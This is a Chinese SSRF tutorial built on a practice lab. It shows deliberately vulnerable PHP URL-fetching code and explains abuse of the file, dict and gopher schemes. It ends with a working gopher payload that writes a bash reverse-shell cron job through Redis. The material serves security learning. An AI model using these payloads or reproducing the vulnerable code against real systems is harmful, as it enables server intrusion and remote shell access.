ssrf学习(一)

ssrf,即服务端请求伪造,产生的原因是告诉服务器一个网址,服务器没有进行判断、过滤,而直接去请求这个网址

图片来自:https://www.cnblogs.com/p0pl4r/p/10336501.html

练习环境地址:https://github.com/m6a-UdS/ssrf-lab

把练习环境git下来后,还要配置php.ini,因为不设置的话curl相关函数默认是不能使用的,设置好extension_dir,目录下如果没有curl.so需要apt-get php5.6-curl,将php_curl.dll前的分号删掉,并把后缀dll改为so,最后重启服务即可

相关实现函数

0x01.curl实现

第一关有一个输入框,可以输入网址,点击TEST IT后下方会显示获取的内容,直接输入http://127.0.0.1,下方会显示获取的这个网页的内容;进行抓包,获取的请求信息如下:

POST /ssrf/testhook.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 30
Connection: keep-alive
Referer: http://127.0.0.1/ssrf/

handler=http%3A%2F%2F127.0.0.1

handler字段即为输入的内容,目标文件是testhook.php,查看这个文件的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
// create curl resource
$ch = curl_init();

// set url
curl_setopt($ch, CURLOPT_URL, $_POST["handler"]);

//return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

// $output contains the output string
$output = curl_exec($ch);

// close curl resource to free up system resources
curl_close($ch);

echo $output;
?>

代码中各函数作用:

1.curl_init() :初始化cURL会话,返回cURL句柄,供curl_setopt()、curl_exec()和curl_close()函数使用

2.curl_setopt() :设置cURL传输选项,语法:

curl_setopt ( resource $ch , int $option , mixed $value ) : bool

参数:

  • ch:由 curl_init() 返回的 cURL 句柄。

  • option:需要设置的CURLOPT_XXX选项。

    • CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。
    • CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以字符串返回,而不是直接输出。
  • value:将设置在option选项上的值。

3.curl_exec() :执行给定的cURL会话,成功返回TRUE,失败返回FALSE;当设置CURLOPT_RETURNTRANSFER选项时,执行成功返回执行结果,失败返回FALSE

4.curl_close() :关闭cURL会话并且释放所有资源

0x02.file_get_contents()实现

1
2
3
<?php
$a = file_get_contents($_GET['url']);
echo $a;

fsockopen()实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

fsockopen() : 初始化一个套接字连接到指定主机;fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用

url scheme

可以通过curl -V来查看curl支持的协议

└─(17:20:57)──> curl -V
curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3
Release-Date: 2018-01-24
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp 
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL 

可以看到:Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp

http/s

主要用来探测内网服务,如url=http://127.0.0.1

file

从文件系统中获取本地文件内容,如url=file:///var/www/html/index.php

dict

可以发送请求获取信息,如url=dict://127.0.0.1:6379/info可获取本地redis服务配置信息

Redis是一个开源的,使用C语言编写,高性能的key-value存储系统,在ubuntu下可以通过下列命令安装:

$sudo apt-get update
$sudo apt-get install redis-server

启动 Redis 服务,默认端口为6379

$ redis-server

启动 Redis 客户端:

$ redis-cli

一些基本操作:

1.通过SET key value的方式设置键值:

127.0.0.1:6379> set a 666
OK

2.通过GET key的方式获取键对应的值:

127.0.0.1:6379> GET a
"666"

3.通过KEYS *命令获取所有键:

127.0.0.1:6379> KEYS *
1) "a"

详细教程:https://www.runoob.com/redis/redis-tutorial.html

可以用dict协议获取redis存储的数据,如:

url=dict://127.0.0.1:6379/KEYS * 可获取redis存储的所有键;
url=dict://127.0.0.1:6379/GET key 可获取键`key`对应的值;

gopher

gopher协议支持发出GET、POST请求,可以用来反弹shell

首先在本地监听1234端口:

nc -lvp 1234

之后使用gopher协议:

curl -v -d 'handler=gopher://127.0.0.1:1234/_test' 'http://127.0.0.1/ssrf/testhook.php'

其中,-v参数显示详细信息,-d指定以POST发送数据;

之后,可以看到监听界面显示了发送过去的test信息;可以使用gopher协议配合redis反弹shell或攻击fastcig来拿到shell

攻击Redis的反弹shell POC:

gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a/1 * * * * bash -i >& /dev/tcp/0.0.0.0/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

执行后即可在Redis看到键1和值bash -i >& /dev/tcp/0.0.0.0/2333 0>&1被写入了;


参考文章:

https://mp.weixin.qq.com/s/FXInesMfXaz1l9DibxmMKw

https://mp.weixin.qq.com/s/bjjChubAvo8iOUYYU78uaw

https://joychou.org/web/phpssrf.html#directory0326919633843317466